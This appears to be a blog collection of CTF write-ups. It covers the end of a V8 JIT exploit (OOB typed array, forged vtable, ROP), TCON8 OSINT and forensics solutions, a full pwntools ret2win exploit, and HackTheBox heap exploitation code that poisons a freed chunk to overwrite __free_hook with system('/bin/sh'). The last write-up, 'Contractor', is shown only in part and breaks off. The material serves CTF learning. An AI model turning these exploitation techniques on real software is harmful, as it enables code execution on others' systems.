8. Scan memory and find SamplingThread markers.
9. Write poc_vtable_test.js to prove OOB write and vtable corruption.
10. Attach IDA and confirm destructor virtual call through [rax+8].
11. Find pivot and ROP gadgets in d8.
12. Convert helper exploit into remote-safe exploit with warm-up loops.
13. Submit base64 payload.
14. Let d8 destroy itself into /bin/cat.

That last line is what made the challenge fun.

The exploit does not directly print anything. It does not need print(). It does not need read(). It lets d8 run, corrupts the cleanup path, and turns the shutdown sequence into a flag printer.


Key Takeaways

1. One Word in a JIT Compiler Can Become Code Execution

The bug is visually tiny:

- StringOrReceiver
+ String

But compiler type information is security-critical. If the optimizer believes a value is bounded and that belief is wrong, it may remove the only check standing between JavaScript and raw memory.

2. JavaScript Objects Are Dangerous During Conversion

+obj is not boring. It can call attacker-controlled code:

let obj = {
  valueOf() {
    return 999;
  }
};

That is why Receivers must be treated conservatively by ToNumber.

3. Typed Arrays Are Excellent Exploitation Surfaces

Once a typed-array bounds check disappears, an index becomes raw pointer arithmetic:

backing_store + index * element_size

For Float64Array, every index is eight bytes.

4. Helper Builds Are Worth the Time

Rebuilding V8 with helpers enabled made the exploit understandable. It allowed direct confirmation of:

  • optimization status;
  • generated machine code;
  • missing bounds checks;
  • memory layout;
  • vtable corruption;
  • crash location.

Without that build, this would have been far more blind.

5. A Crash Is Not Enough; A Controlled Crash Is Evidence

The 0x4141414141414141 vtable test mattered because it was controlled:

write canary
read canary
restore pointer
verify restore
write canary again
observe virtual-call crash

That proved the exploit had precise write control and a viable control-flow target.

6. ROP Does Not Always Need a Shell

For services that capture stdout, calling:

execvp("/bin/cat", argv)

is often better than spawning /bin/sh.

7. Exploit Reliability Comes From Runtime Discovery

The final exploit scans for sentinels and markers instead of depending on fragile hardcoded heap indexes. That made it portable enough for the remote challenge server.


Closing

Objection is a great example of modern pwn moving far beyond simple unsafe C functions.

The initial vulnerability lives in a compiler’s model of JavaScript semantics. The exploit begins with high-level JavaScript, abuses a wrong type assumption, converts that into a native out-of-bounds typed-array primitive, discovers C++ objects in process memory, leaks a PIE base, forges a vtable, pivots the stack, and finally executes a ROP chain.

The beautiful part is how small the original bug was.

One removed word:

Receiver

One wrong compiler belief:

This number must be between 0 and 3.

One attacker-controlled conversion:

valueOf() { return 300; }

And suddenly JavaScript is reading and writing outside its array.

From there, the exploit turns d8‘s own shutdown path against it:

fake vtable -> pivot gadget -> fake stack -> execvp -> cat flag

That is what made Objection memorable. It was not just about getting a flag. It was about watching a tiny lie in the optimizer grow into complete native control of the process.

All files referenced in this writeup are available at:

github.com/mlesterdampios/htb-gcsb-2026-pwn-objection

[TCON8] To everyone behind HackTheNorth’s TCON8 — thank you so much.

On behalf of shinigami.ph, we are sincerely grateful to the organizers, speakers, and everyone working behind the scenes for building an event that was both inspiring and genuinely fun to be part of.

A special and heartfelt thank you to the CTF creators and challenge authors — laet4x, cadeath, matalibre, 0xMZ3C, and the teams behind Project-AG and Recon Village PH — thank you for the time, effort, and creativity you poured into making the challenges possible.

I also want to express my sincere gratitude to my employer, Secuna, and to my part-time consultancy at IntegSec for being understanding and supportive, and for allowing me the time to join opportunities like this. I’m truly thankful for the trust and flexibility.

To our fellow competitors: thank you for the great fights, the sportsmanship, and the new friendships formed along the way. And to everyone who greeted and supported us as we were fortunate enough to claim victory in the TCON8 CTF — maraming salamat. We don’t take that kindness lightly.

We learned a lot throughout the event, met new faces, and gained so many valuable insights from the talks — ideas that strengthen the cyber community and help us better protect the rights and safety of each individual.

Thank you again, TCON8. We’re grateful to have been part of it, and we’re already looking forward to the next events. 🙏💙

Related Links:

https://www.facebook.com/hackthenorth.ph
https://www.facebook.com/grantedyouraccess
Recon Village PH

Writeups:

[TCON8] [OSINT] Intersection
[TCON8] [Forensics] The Typing Ghost
[TCON8] [Misc] Baby Brute

https://altelus1.github.io/writeups/ctf/tcon82025

[TCON8] [OSINT] Intersection

Challenge file: https://github.com/mlesterdampios/tcon8/tree/main/intersection

In this OSINT challenge, we’re given just a single photo of an intersection—and unfortunately, it contains no useful metadata to lean on.

My approach was a little unconventional: I cropped the image into smaller, “searchable” chunks and treated each piece like its own clue.

Attempt 1: The street sign
I started with the most obvious lead—the sign that clearly shows “4th Street”, plus a few characters that were too blurry to read. I ran it through reverse image search, but the results were way too broad and didn’t give a clean match.

Attempt 2: Brute-forcing Google Maps
Next, I tried searching Google Maps for places with “4th Street.” That idea died fast—there are tons of 4th Streets, and manually checking them felt like trying to find a specific grain of sand on a beach.

Attempt 3: Narrowing by environment
To reduce the search space, I tried filtering my mental shortlist using environmental hints—especially the pine trees, which suggested a region where they commonly grow. It helped a bit, but the results were still massive.

At that point, I also tried “walking” around in Google Maps/Street View and doing a few more reverse image searches… but everything still felt like loose threads and dead ends.


The breakthrough

Here’s what finally worked:

Instead of focusing on the street sign, I reverse-image searched the building across the intersection.

And boom—this produced promising, specific results.

From there, it was mostly trial and error: the challenge required the building name in an exact format, so once I had candidate matches, I just tested variations until I hit the correct submission format.

[TCON8] [Forensics] The Typing Ghost

Challenge File: https://github.com/mlesterdampios/tcon8/tree/main/the_typing_ghost

In this challenge we’re given a PCAP that looks like normal UDP noise at first, but it has a very “human” rhythm: a long burst of small packets all going to UDP/55555, while the source port starts at 4000 and increments by 1. That combination (tiny payloads + steady cadence + monotonic “counter” behavior) is a classic sign of keystroke-style exfiltration rather than bulk file transfer.

1) PCAP triage: spotting the exfil stream

In Wireshark, filtering down to the suspicious traffic makes the pattern obvious:

  • Display filter (example):
    udp.dstport == 55555
  • What you’ll observe:
    • Many packets with very small UDP payloads (consistent size)
    • Source ports like 4000, 4001, 4002, ... (likely a per-event/sequence counter)
    • Destination port fixed at 55555 (receiver “collector” service)

At this stage the working hypothesis becomes:

Each packet represents one keyboard event (press/release), exfiltrated to a listener on UDP/55555.

2) Recognizing the payload format (“hid:NNN|….”)

When extracting the UDP payload bytes, the data decodes cleanly into ASCII and follows this structure:

hid:<sequence>|<hex report bytes>

Example line (after hex→ASCII):

hid:008|02002f0000000000

Key observations:

  • The hid:NNN portion is metadata (sequence/index).
  • The part after | is always 16 hex characters, i.e. 8 bytes.

That “8-byte report” is a huge tell: it matches the standard USB HID keyboard report layout.

3) USB HID keyboard report (why 8 bytes matters)

A standard HID keyboard input report is typically:

ByteMeaning
0Modifier bitmap (Shift/Ctrl/Alt/GUI, left/right)
1Reserved (often 0x00)
2–7Up to 6 simultaneous keycodes

So a report like:

02 00 2f 00 00 00 00 00

means:

  • 0x02 in the modifier byte → Left Shift is pressed
  • keycode 0x2f is present → a specific key (in the map: '[')
  • with Shift held, '[' becomes '{'

Also, you’ll frequently see:

00 00 00 00 00 00 00 00

which indicates no keys pressed — effectively a key release event. That’s why skipping those records is correct: they don’t add characters.

4) Extract → decode: turning HID keycodes into text

The script does the right pipeline:

  1. Hex → bytes → ASCII to get hid:NNN|...
  2. Split on | to isolate the 8-byte report
  3. Ignore 0000000000000000 (release frames)
  4. Read:
    • mod = b[0] (modifier)
    • keycodes from b[2:] (the 6 key slots)
  5. Map HID codes to characters using a lookup table
  6. If Shift is active (0x02 left shift or 0x20 right shift), apply:
    • uppercase for letters
    • symbol transform for 1..0, -, =, [, ], \, etc.

Conceptually, the “decoder” is reconstructing exactly what a keylogger would record from raw HID events.

5) Result

Running the decoder over the extracted stream reconstructs the full typed message:

tcon{USB_H1D3N_3NTRY_TC0N_EXF1L_2025}

tshark -r usb.pcap -Y "ip.src==10.20.0.5 && ip.dst==198.51.100.200 && udp.dstport==55555" -T fields -e udp.payload

Solution

data = """6869643a3030307c3030303031373030303030303030
6869643a3030317c30303030303030303030303030303030
6869643a3030327c3030303030363030303030303030
6869643a3030337c30303030303030303030303030303030
6869643a3030347c3030303031323030303030303030
6869643a3030357c30303030303030303030303030303030
6869643a3030367c3030303031313030303030303030
6869643a3030377c30303030303030303030303030303030
6869643a3030387c3032303032663030303030303030
6869643a3030397c30303030303030303030303030303030
6869643a3031307c3032303031383030303030303030
6869643a3031317c30303030303030303030303030303030
6869643a3031327c3032303031363030303030303030
6869643a3031337c30303030303030303030303030303030
6869643a3031347c3032303030353030303030303030
6869643a3031357c30303030303030303030303030303030
6869643a3031367c3032303032643030303030303030
6869643a3031377c30303030303030303030303030303030
6869643a3031387c3032303030623030303030303030
6869643a3031397c30303030303030303030303030303030
6869643a3032307c3030303031653030303030303030
6869643a3032317c30303030303030303030303030303030
6869643a3032327c3032303030373030303030303030
6869643a3032337c30303030303030303030303030303030
6869643a3032347c3030303032303030303030303030
6869643a3032357c30303030303030303030303030303030
6869643a3032367c3032303031313030303030303030
6869643a3032377c30303030303030303030303030303030
6869643a3032387c3032303032643030303030303030
6869643a3032397c30303030303030303030303030303030
6869643a3033307c3030303032303030303030303030
6869643a3033317c30303030303030303030303030303030
6869643a3033327c3032303031313030303030303030
6869643a3033337c30303030303030303030303030303030
6869643a3033347c3032303031373030303030303030
6869643a3033357c30303030303030303030303030303030
6869643a3033367c3032303031353030303030303030
6869643a3033377c30303030303030303030303030303030
6869643a3033387c3032303031633030303030303030
6869643a3033397c30303030303030303030303030303030
6869643a3034307c3032303032643030303030303030
6869643a3034317c30303030303030303030303030303030
6869643a3034327c3032303031373030303030303030
6869643a3034337c30303030303030303030303030303030
6869643a3034347c3032303030363030303030303030
6869643a3034357c30303030303030303030303030303030
6869643a3034367c3030303032373030303030303030
6869643a3034377c30303030303030303030303030303030
6869643a3034387c3032303031313030303030303030
6869643a3034397c30303030303030303030303030303030
6869643a3035307c3032303032643030303030303030
6869643a3035317c30303030303030303030303030303030
6869643a3035327c3032303030383030303030303030
6869643a3035337c30303030303030303030303030303030
6869643a3035347c3032303031623030303030303030
6869643a3035357c30303030303030303030303030303030
6869643a3035367c3032303030393030303030303030
6869643a3035377c30303030303030303030303030303030
6869643a3035387c3030303031653030303030303030
6869643a3035397c30303030303030303030303030303030
6869643a3036307c3032303030663030303030303030
6869643a3036317c30303030303030303030303030303030
6869643a3036327c3032303032643030303030303030
6869643a3036337c30303030303030303030303030303030
6869643a3036347c3030303031663030303030303030
6869643a3036357c30303030303030303030303030303030
6869643a3036367c3030303032373030303030303030
6869643a3036377c30303030303030303030303030303030
6869643a3036387c3030303031663030303030303030
6869643a3036397c30303030303030303030303030303030
6869643a3037307c3030303032323030303030303030
6869643a3037317c30303030303030303030303030303030
6869643a3037327c3032303033303030303030303030
6869643a3037337c30303030303030303030303030303030""".strip().splitlines()

hid = {
  0x04:'a',0x05:'b',0x06:'c',0x07:'d',0x08:'e',0x09:'f',0x0A:'g',0x0B:'h',0x0C:'i',0x0D:'j',0x0E:'k',0x0F:'l',
  0x10:'m',0x11:'n',0x12:'o',0x13:'p',0x14:'q',0x15:'r',0x16:'s',0x17:'t',0x18:'u',0x19:'v',0x1A:'w',0x1B:'x',0x1C:'y',0x1D:'z',
  0x1E:'1',0x1F:'2',0x20:'3',0x21:'4',0x22:'5',0x23:'6',0x24:'7',0x25:'8',0x26:'9',0x27:'0',
  0x2C:' ', 0x2D:'-', 0x2E:'=', 0x2F:'[', 0x30:']', 0x31:'\\'
}
shift = {'1':'!','2':'@','3':'#','4':'$','5':'%','6':'^','7':'&','8':'*','9':'(','0':')',
         '-':'_','=':'+','[':'{',']':'}','\\':'|'}

out = []
for hx in data:
    s = bytes.fromhex(hx).decode()
    rep = s.split('|',1)[1]
    if rep == "0000000000000000":  # release
        continue
    b = bytes.fromhex(rep)
    mod = b[0]
    keys = b[2:]
    for k in keys:
        if k == 0: continue
        ch = hid.get(k, '')
        if mod & (0x02|0x20):  # L/R shift
            ch = ch.upper() if ch.isalpha() else shift.get(ch, ch)
        out.append(ch)

print(''.join(out))

[TCON8] [Misc] Baby Brute

Challenge Files: https://github.com/mlesterdampios/tcon8/tree/main/baby_brute

This was easily one of the coolest challenges I encountered during TCON8—and it was right up my alley because I genuinely enjoy solving binary exploitation and pwn problems.

At its core, the challenge is a classic ret2win scenario: the goal is to control execution flow by overflowing a buffer and overwriting the saved return address on the stack. Once we can replace that return address, we can redirect the program to a function of our choosing instead of returning normally.

After running basic checks (like reviewing the binary’s security posture) and looking at the decompiled code, the intended path becomes much clearer. The binary contains a win() function—typically responsible for printing the flag or triggering the success condition—and also includes a vulnerable_function() that reads user input without properly enforcing bounds. In other words, it accepts data into a fixed-size stack buffer but does not validate input length, which makes it vulnerable to a stack-based buffer overflow when the user provides more data than the buffer can hold.

From there, the exploitation flow is straightforward:

  • Identify that vulnerable_function() stores input in a stack buffer.
  • Provide an oversized payload to overflow past the buffer.
  • Overwrite the saved return address with the address of win().
  • When vulnerable_function() finishes and executes its ret, the CPU pops our overwritten return address—causing execution to jump directly into win().

So instead of needing complex ROP chains or multiple stages, the challenge rewards clean fundamentals: understand the stack layout, find the correct offset to the return address, and redirect control flow to win(). Once the return address is overwritten successfully, the program naturally “returns” into our desired location, and the win condition is triggered.

main()

.text:080492F9 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080492F9                 public main
.text:080492F9 main            proc near               ; DATA XREF: _start+20↑o
.text:080492F9
.text:080492F9 argc            = dword ptr  8
.text:080492F9 argv            = dword ptr  0Ch
.text:080492F9 envp            = dword ptr  10h
.text:080492F9
.text:080492F9 ; __unwind {
.text:080492F9                 lea     ecx, [esp+4]
.text:080492FD                 and     esp, 0FFFFFFF0h
.text:08049300                 push    dword ptr [ecx-4]
.text:08049303                 push    ebp
.text:08049304                 mov     ebp, esp
.text:08049306                 push    ebx
.text:08049307                 push    ecx
.text:08049308                 call    __x86_get_pc_thunk_bx
.text:0804930D                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049313                 mov     eax, ds:(stdin_ptr - 804C000h)[ebx]
.text:08049319                 mov     eax, [eax]
.text:0804931B                 push    0               ; n
.text:0804931D                 push    2               ; modes
.text:0804931F                 push    0               ; buf
.text:08049321                 push    eax             ; stream
.text:08049322                 call    _setvbuf
.text:08049327                 add     esp, 10h
.text:0804932A                 mov     eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:08049330                 mov     eax, [eax]
.text:08049332                 push    0               ; n
.text:08049334                 push    2               ; modes
.text:08049336                 push    0               ; buf
.text:08049338                 push    eax             ; stream
.text:08049339                 call    _setvbuf
.text:0804933E                 add     esp, 10h
.text:08049341                 sub     esp, 0Ch
.text:08049344                 lea     eax, (byte_804A098 - 804C000h)[ebx]
.text:0804934A                 push    eax             ; s
.text:0804934B                 call    _puts
.text:08049350                 add     esp, 10h
.text:08049353                 sub     esp, 0Ch
.text:08049356                 lea     eax, (byte_804A114 - 804C000h)[ebx]
.text:0804935C                 push    eax             ; s
.text:0804935D                 call    _puts
.text:08049362                 add     esp, 10h
.text:08049365                 sub     esp, 0Ch
.text:08049368                 lea     eax, (byte_804A144 - 804C000h)[ebx]
.text:0804936E                 push    eax             ; s
.text:0804936F                 call    _puts
.text:08049374                 add     esp, 10h
.text:08049377                 sub     esp, 0Ch
.text:0804937A                 lea     eax, (byte_804A174 - 804C000h)[ebx]
.text:08049380                 push    eax             ; s
.text:08049381                 call    _puts
.text:08049386                 add     esp, 10h
.text:08049389                 sub     esp, 8
.text:0804938C                 lea     eax, (win - 804C000h)[ebx]
.text:08049392                 push    eax
.text:08049393                 lea     eax, (aHintTheWinFunc - 804C000h)[ebx] ; "Hint: The win() function is at address "...
.text:08049399                 push    eax             ; format
.text:0804939A                 call    _printf
.text:0804939F                 add     esp, 10h
.text:080493A2                 call    vulnerable_function
.text:080493A7                 sub     esp, 0Ch
.text:080493AA                 lea     eax, (aGoodbye - 804C000h)[ebx] ; "\nGoodbye!"
.text:080493B0                 push    eax             ; s
.text:080493B1                 call    _puts
.text:080493B6                 add     esp, 10h
.text:080493B9                 mov     eax, 0
.text:080493BE                 lea     esp, [ebp-8]
.text:080493C1                 pop     ecx
.text:080493C2                 pop     ebx
.text:080493C3                 pop     ebp
.text:080493C4                 lea     esp, [ecx-4]
.text:080493C7                 retn
.text:080493C7 ; } // starts at 80492F9
.text:080493C7 main            endp
.text:080493C7
.text:080493C7 _text           ends

win()

.text:080491F6 ; int win()
.text:080491F6                 public win
.text:080491F6 win             proc near               ; DATA XREF: main+93↓o
.text:080491F6
.text:080491F6 s               = byte ptr -4Ch
.text:080491F6 stream          = dword ptr -0Ch
.text:080491F6 var_4           = dword ptr -4
.text:080491F6
.text:080491F6 ; __unwind {
.text:080491F6                 push    ebp
.text:080491F7                 mov     ebp, esp
.text:080491F9                 push    ebx
.text:080491FA                 sub     esp, 54h
.text:080491FD                 call    __x86_get_pc_thunk_bx
.text:08049202                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049208                 sub     esp, 8
.text:0804920B                 lea     eax, (aR - 804C000h)[ebx] ; "r"
.text:08049211                 push    eax             ; modes
.text:08049212                 lea     eax, (aFlagTxt - 804C000h)[ebx] ; "/flag.txt"
.text:08049218                 push    eax             ; filename
.text:08049219                 call    _fopen
.text:0804921E                 add     esp, 10h
.text:08049221                 mov     [ebp+stream], eax
.text:08049224                 cmp     [ebp+stream], 0
.text:08049228                 jnz     short loc_8049246
.text:0804922A                 sub     esp, 0Ch
.text:0804922D                 lea     eax, (aFlagFileNotFou - 804C000h)[ebx] ; "Flag file not found! Contact admin."
.text:08049233                 push    eax             ; s
.text:08049234                 call    _puts
.text:08049239                 add     esp, 10h
.text:0804923C                 sub     esp, 0Ch
.text:0804923F                 push    1               ; status
.text:08049241                 call    _exit
.text:08049246 ; ---------------------------------------------------------------------------
.text:08049246
.text:08049246 loc_8049246:                            ; CODE XREF: win+32↑j
.text:08049246                 sub     esp, 4
.text:08049249                 push    [ebp+stream]    ; stream
.text:0804924C                 push    40h ; '@'       ; n
.text:0804924E                 lea     eax, [ebp+s]
.text:08049251                 push    eax             ; s
.text:08049252                 call    _fgets
.text:08049257                 add     esp, 10h
.text:0804925A                 sub     esp, 0Ch
.text:0804925D                 lea     eax, (asc_804A038 - 804C000h)[ebx] ; "\n"
.text:08049263                 push    eax             ; s
.text:08049264                 call    _puts
.text:08049269                 add     esp, 10h
.text:0804926C                 sub     esp, 8
.text:0804926F                 lea     eax, [ebp+s]
.text:08049272                 push    eax
.text:08049273                 lea     eax, (aFlagS - 804C000h)[ebx] ; "Flag: %s\n"
.text:08049279                 push    eax             ; format
.text:0804927A                 call    _printf
.text:0804927F                 add     esp, 10h
.text:08049282                 sub     esp, 0Ch
.text:08049285                 push    [ebp+stream]    ; stream
.text:08049288                 call    _fclose
.text:0804928D                 add     esp, 10h
.text:08049290                 nop
.text:08049291                 mov     ebx, [ebp+var_4]
.text:08049294                 leave
.text:08049295                 retn
.text:08049295 ; } // starts at 80491F6
.text:08049295 win             endp

vulnerable_function()

.text:08049296 ; int vulnerable_function()
.text:08049296                 public vulnerable_function
.text:08049296 vulnerable_function proc near           ; CODE XREF: main+A9↓p
.text:08049296
.text:08049296 s               = byte ptr -48h
.text:08049296 var_4           = dword ptr -4
.text:08049296
.text:08049296 ; __unwind {
.text:08049296                 push    ebp
.text:08049297                 mov     ebp, esp
.text:08049299                 push    ebx
.text:0804929A                 sub     esp, 44h
.text:0804929D                 call    __x86_get_pc_thunk_bx
.text:080492A2                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080492A8                 sub     esp, 0Ch
.text:080492AB                 lea     eax, (aEnterYourName - 804C000h)[ebx] ; "Enter your name: "
.text:080492B1                 push    eax             ; format
.text:080492B2                 call    _printf
.text:080492B7                 add     esp, 10h
.text:080492BA                 mov     eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:080492C0                 mov     eax, [eax]
.text:080492C2                 sub     esp, 0Ch
.text:080492C5                 push    eax             ; stream
.text:080492C6                 call    _fflush
.text:080492CB                 add     esp, 10h
.text:080492CE                 sub     esp, 0Ch
.text:080492D1                 lea     eax, [ebp+s]
.text:080492D4                 push    eax             ; s
.text:080492D5                 call    _gets
.text:080492DA                 add     esp, 10h
.text:080492DD                 sub     esp, 8
.text:080492E0                 lea     eax, [ebp+s]
.text:080492E3                 push    eax
.text:080492E4                 lea     eax, (aHelloS - 804C000h)[ebx] ; "Hello, %s!\n"
.text:080492EA                 push    eax             ; format
.text:080492EB                 call    _printf
.text:080492F0                 add     esp, 10h
.text:080492F3                 nop
.text:080492F4                 mov     ebx, [ebp+var_4]
.text:080492F7                 leave
.text:080492F8                 retn
.text:080492F8 ; } // starts at 8049296
.text:080492F8 vulnerable_function endp

Solution

#!/usr/bin/env python3
from pwn import *
import re

gs = '''
continue
'''

def start(elf):
    #if args.REMOTE:
        return remote("127.0.0.1", 1337)
    #if args.GDB:
        #return gdb.debug([elf.path], gdbscript=gs)
    #else:
        #return process([elf.path])

def newRecvall(p, timeout=1):
    data = b""
    while True:
        try:
            chunk = p.recv(timeout=timeout)
            if not chunk:
                break
            data += chunk
        except EOFError:
            break
    log.info(hexdump(data))
    return data

def newSend(p, send, newline=True):
    if newline:
        log.info(b'SENDING (via sendline): ' + send)
        p.sendline(send)
    else:
        log.info(b'SENDING: ' + send)
        p.send(send)
    log.info(hexdump(send))

def newRecvuntilAndSend(p, until, send, newline=True, timeout=1, error=True):
    data = b""
    while True:
        try:
            chunk = p.recv(timeout=timeout)
            if not chunk:
                break
            data += chunk
            if until in data:
                break
        except EOFError:
            break
    if until not in data and error:
        log.info(b'Expected: ')
        log.info(hexdump(until))
        log.info(b'Received: ')
        log.info(hexdump(data))
        log.error(b'Expected `until` not found in received data')
    log.info(hexdump(data))
    newSend(p, send, newline)

def attempt_exploit():
    p = None
    try:
        elf = ELF("./pwn1")
        context.binary = elf
        context.arch = "i386"
        context.endian = "little"

        p = start(elf)

        # === Read banner and extract win() address from it ===
        banner_and_prompt = p.recvuntil(b"Enter your name:")
        log.info(b"banner_and_prompt:")
        log.info(hexdump(banner_and_prompt))

        m = re.search(rb"win\(\)\s*function\s*is\s*at\s*address\s*(0x[0-9a-fA-F]+)", banner_and_prompt)
        if not m:
            # fallback: grab the first hex address-looking token
            m = re.search(rb"(0x[0-9a-fA-F]+)", banner_and_prompt)
        if not m:
            log.error("Could not parse win() address from banner output")

        win_addr = int(m.group(1), 16)
        log.info(f"win_addr = {hex(win_addr)}")

        offset = 76
        log.info(f"offset = {offset}")

        payload = b"A" * offset + p32(win_addr)

        # === Send overflow payload ===
        newSend(p, payload, newline=True)

        # === Read whatever win() prints (flag/shell/etc.) ===
        resp = newRecvall(p, timeout=2)
        if resp:
            p.interactive()

        p.close()

    except Exception as e:
        log.info(f"Error: {e!r}")
        try:
            if p is not None:
                p.close()
        except Exception:
            pass

attempt_exploit()

[HTB-CyberApoc25] Strategist

Hey everyone, our team, Bembangan Time, has recently joined the HackTheBox Cyber Apocalypse 2025, wherein we placed at top 40th out of 8129 teams and 18369 players.

Without further ado, here is a quick writeup for the Pwn – Strategist challenge.

Solution

The full solution is available here in the github link.

I will try to explain block by block on what is happening within the application for every inputs that we send.

Checksec

Leaking an address to defeat ASLR

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'1280')
        marker1 = b'AAAStartMarker'
        marker2 = b'AAAEndMarker'
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', marker1 + (b'A' * (1279 - len(marker1) - len(marker2))) + marker2)

        pause()

We need to request for a large malloc allocation to result for a Doubly-linked chunk to leak an address later. To understand more information regarding the malloc allocation, you may check out this article.

After executing the code above, we will see the following in our heap:

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'32')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'B'*31)

        pause()

Upon the execution of above code, we will saw that a new chunk was created with a different chunk type. This time, the chunk is a Fast Bin. I needed to create this type in order to not consolidate with the previous chunk, Plan A, which was a small bin. When the chunks are freed, they goes to a bin, in which the libc remembers those location so that when the user requested another malloc that may fit to a specific size, it may reuse the freed location.

        newRecvuntilAndSend(p, b'> ', b'4')
        newRecvuntilAndSend(p, b'Which plan you want to delete?', b'0')
        
        pause()

Now we delete the plan A. And here’s what it looks like when deleted:

The first offset is called fd or forward pointer which points to the next available chunk. The second one is the bk or the backward pointer which points to the previous chunk in the same bin.

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'1280')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'C'*8, newline=False)

        pause()

Upon the execution of the above code, we will be reusing the same location of Plan A.

With the combined vulnerability of tricking the malloc, free, and printf in the show_plan function, we can leak the address of the offset shown above.

printf(
    "%s\n[%sSir Alaric%s]: Plan [%d]: %s\n",
    "\x1B[1;34m",
    "\x1B[1;33m",
    "\x1B[1;34m",
    v2,
    *(const char **)(8LL * (int)v2 + a1));
        newRecvuntilAndSend(p, b'> ', b'2')
        newRecvuntilAndSend(p, b'Which plan you want to view?', b'0')

        pause()

        libc_addr_leak = int.from_bytes(newRecvall(p)[0x36:0x3c], byteorder='little')
        log.info(b'libc_addr_leak: ')
        log.info(hex(libc_addr_leak))

        libc.address = libc_addr_leak - 0x3EBCA0
        log.info(b'libc.address: ')
        log.info(hex(libc.address))

        free_hook = libc.sym['__free_hook']
        log.info(b'free_hook: ')
        log.info(hex(free_hook))

        system_addr = libc.sym['system']
        log.info(b'system_addr: ')
        log.info(hex(system_addr))

        pause()

Write-what-where

The next step is to create and corrupt chunk(s) to do malicious writing that should be out-of-bounds.

        newSend(p, b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'D'*39)

        pause()

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'57')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'E'*56)

        pause()

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'F'*39)

        pause()

Upon executing the above code, we are creating 3 chunks. The Plan D will be used to corrupt Plan E. And we also created Plan F as this is the chunk that would point to the free_hooks location where we will be writing the system.

printf("%s\n[%sSir Alaric%s]: Please elaborate on your new plan.\n\n> ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  v1 = strlen(*(const char **)(8LL * (int)v3 + a1));

In the edit_plan function, there was a vulnerability where we can write out-of-bounds because it doesn’t properly check the maximum writable space of a chunk. It instead relies on the strlen function. Since the strlen only stops at null terminator (0x00), then it will not stop when encountering newline (0x0a).

        newRecvuntilAndSend(p, b'> ', b'3')
        newRecvuntilAndSend(p, b'Which plan you want to change?', b'2')
        newRecvuntilAndSend(p, b'Please elaborate on your new plan.', b'G'*40 + b'\x61', newline=False)

        pause()

The above code will corrupt the Plan E size, changing it from 0x51 to 0x61.

        newRecvuntilAndSend(p, b'> ', b'4')
        newRecvuntilAndSend(p, b'Which plan you want to delete?', b'4')

        pause()

After executing the above code, we will now see that the Plan F is now deleted and a fd or forward pointer has been created. We want to poison that fd to point to the free_hook so that we can write the system into the free_hook address.

        newRecvuntilAndSend(p, b'> ', b'4')
        newRecvuntilAndSend(p, b'Which plan you want to delete?', b'3')

Now we need to delete the Plan E so that we can re-allocate the space that will poison the Plan F fd. The Plan F is still on the bins memory, and we also trick the free by making it recognize that the size was 0x61, when in fact, it was originally 0x51 before the corruption.

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'88')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'H'*80 + p64(free_hook), newline=False)

        pause()

Now we poison Plan F fd pointing to free_hook.

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'X'*8)

        pause()

Since Plan F has been recently freed, we just reallocate it.

And now, we know that malloc is now pointing to the free_hook address, we just write the system address on the free_hook:

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', p64(system_addr))

        pause()

Look at that, isn’t that beautiful?

        newRecvuntilAndSend(p, b'> ', b'1')
        newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
        newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'/bin/sh\0', newline=False)

        pause()

Of course, we need to write the parameter of the system as well, which is the /bin/sh to spawn a shell.

        newRecvuntilAndSend(p, b'> ', b'4')
        newRecvuntilAndSend(p, b'Which plan you want to delete?', b'6')

        newRecvall(p)

        newSend(p, b'whoami')

        resp = newRecvall(p)
        if b'root' in resp or b'ctf' in resp or b'kali' in resp or len(resp) > 0:
            p.interactive()

And for the last piece of the puzzle. Delete the Plan_bin_sh to trigger the free function, which then triggers the free_hook function.

Outro

[HTB-CyberApoc25] Contractor

Hey everyone, our team, Bembangan Time, has recently joined the HackTheBox Cyber Apocalypse 2025, wherein we placed at top 40th out of 8129 teams and 18369 players.

Without further ado, here is a quick writeup for the Pwn – Contractor challenge.

Solution

The full solution is available here in the github link.

I will try to explain block by block on what is happening within the application for every inputs that we send.

Checksec

Leaking an address to defeat ASLR

        newRecvuntilAndSend(p, b'What is your name?', b'A'*0x10, newline=False)
        pause()

This one just fills the whole space for the name without the newline nor null terminator.
Here what it looks like in the stack:

        newRecvuntilAndSend(p, b'Now can you tell me the reason you want to join me?', b'B'*0x100, newline=False)
        pause()

This line, just fills 0x100 bytes, starting from 7FFE917D2870 until 7FFE917D296F:

        newRecvuntilAndSend(p, b'And what is your age again?', b'69')
        pause()

        newRecvuntilAndSend(p, b'One last thing, you have a certain specialty in combat?', b'C'*0x10, newline=False)

And these lines, just fills out the s_272 and s_280 as shown below.

